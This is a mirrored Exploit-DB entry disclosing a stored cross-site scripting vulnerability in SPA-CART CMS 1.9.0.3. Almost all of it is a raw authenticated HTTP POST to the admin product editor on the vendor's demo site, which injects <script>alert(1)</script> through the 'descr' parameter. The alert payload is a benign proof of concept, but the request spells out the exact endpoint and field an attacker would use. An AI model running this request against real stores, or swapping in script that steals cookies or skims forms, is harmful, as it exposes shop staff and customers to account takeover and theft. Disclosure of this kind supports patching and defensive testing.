SPA-CART CMS – Stored XSS

• Exploit Database
• 122 阅读

• 作者： Eren Sen
  日期： 2024-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51919/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128

  # Exploit Title: SPA-CART CMS - Stored XSS # Date: 2024-01-03 # Exploit Author: Eren Sen # Vendor: SPA-Cart # Vendor Homepage: https://spa-cart.com/ # Software Link: https://demo.spa-cart.com/ # Version: [1.9.0.3] # CVE-ID: N/A # Tested on: Kali Linux / Windows 10 # Vulnerabilities Discovered Date : 2024/01/03   # Vulnerability Type: Stored Cross Site Scripting (XSS) Vulnerability # Vulnerable Parameter Type: POST # Vulnerable Parameter: descr   # Proof of Concept: demo.spa-cart.com/product/258   # HTTP Request:   POST ////admin/products/258 HTTP/2 Host: demo.spa-cart.com Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxx; remember=xxxxxxxxxxxxxxxx Content-Length: 1906 Sec-Ch-Ua: Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUsO8JxBs6LhB8LSl X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36 Sec-Ch-Ua-Platform: "" Origin: https://demo.spa-cart.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.spa-cart.com////admin/products/258 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="mode"   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="sku"   SKU386   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="name"   asdf   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="cleanurl"   Wholesale-DIY-Jewelry-Faceted-70pcs-6-8mm-Red-AB-Rondelle-glass-Crystal-Beads ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="avail"   1000   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="price"   0.00   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="list_price"   2   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="weight"   0.00   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="categoryid"   42   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="categories[]"   8   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="categories[]"   37   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="brandid"   4   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="status"     1   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="keywords"   ------WebKitFormBoundaryUsO8JxBs6LhB8LSl   Content-Disposition: form-data; name="descr"   <script>alert(1)</script>       ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="title_tag"     ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="meta_keywords"     ------WebKitFormBoundaryUsO8JxBs6LhB8LSl Content-Disposition: form-data; name="meta_description"     ------WebKitFormBoundaryUsO8JxBs6LhB8LSl--